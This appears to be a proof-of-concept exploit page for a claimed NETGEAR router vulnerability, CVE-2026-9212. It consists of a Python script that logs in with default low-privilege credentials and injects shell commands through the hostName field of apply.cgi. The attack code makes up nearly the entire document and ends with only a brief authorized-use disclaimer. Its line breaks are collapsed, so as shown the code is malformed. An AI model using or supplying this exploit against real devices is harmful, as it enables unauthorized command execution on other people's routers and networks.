CVE-2026-9212 NETGEAR路由器认证不足与命令执行漏洞

# CVE-2026-9212 - NETGEAR Router Authentication Bypass & Command Execution PoC # Affected: NETGEAR LBR1020, LBR20, R6700AX, R7800 # Note: Attacker must be on the same local network as the target device import requests import sys TARGET_IP = "192.168.1.1" # Default NETGEAR router IP TARGET_PORT = 80 def exploit_command_injection(target_url, cmd): """ Exploit insufficient authentication and input validation to execute commands on vulnerable NETGEAR routers. """ # Step 1: Attempt to access management interface with low-privilege session session = requests.Session() # Login with basic credentials (low privilege) login_data = { "loginName": "user", "loginPassword": "password" } session.post(f"{target_url}/login.cgi", data=login_data) # Step 2: Exploit command injection via vulnerable parameter # The vulnerable endpoint fails to sanitize user input inject_payload = f"; {cmd} ;" exploit_params = { "apply": "Apply", "hostName": inject_payload, # Vulnerable parameter "domainName": "localdomain" } response = session.post( f"{target_url}/apply.cgi", data=exploit_params ) return response def main(): target = f"http://{TARGET_IP}:{TARGET_PORT}" # Example: Execute 'id' command to verify exploitation print("[*] Targeting NETGEAR router at", target) print("[*] Attempting command injection...") result = exploit_command_injection(target, "id") if result.status_code == 200: print("[+] Exploit sent successfully") print("[+] Check device response for command output") else: print(f"[-] Request failed with status: {result.status_code}") if __name__ == "__main__": main() # Disclaimer: This PoC is for educational and authorized testing purposes only. # Unauthorized access to computer systems is illegal.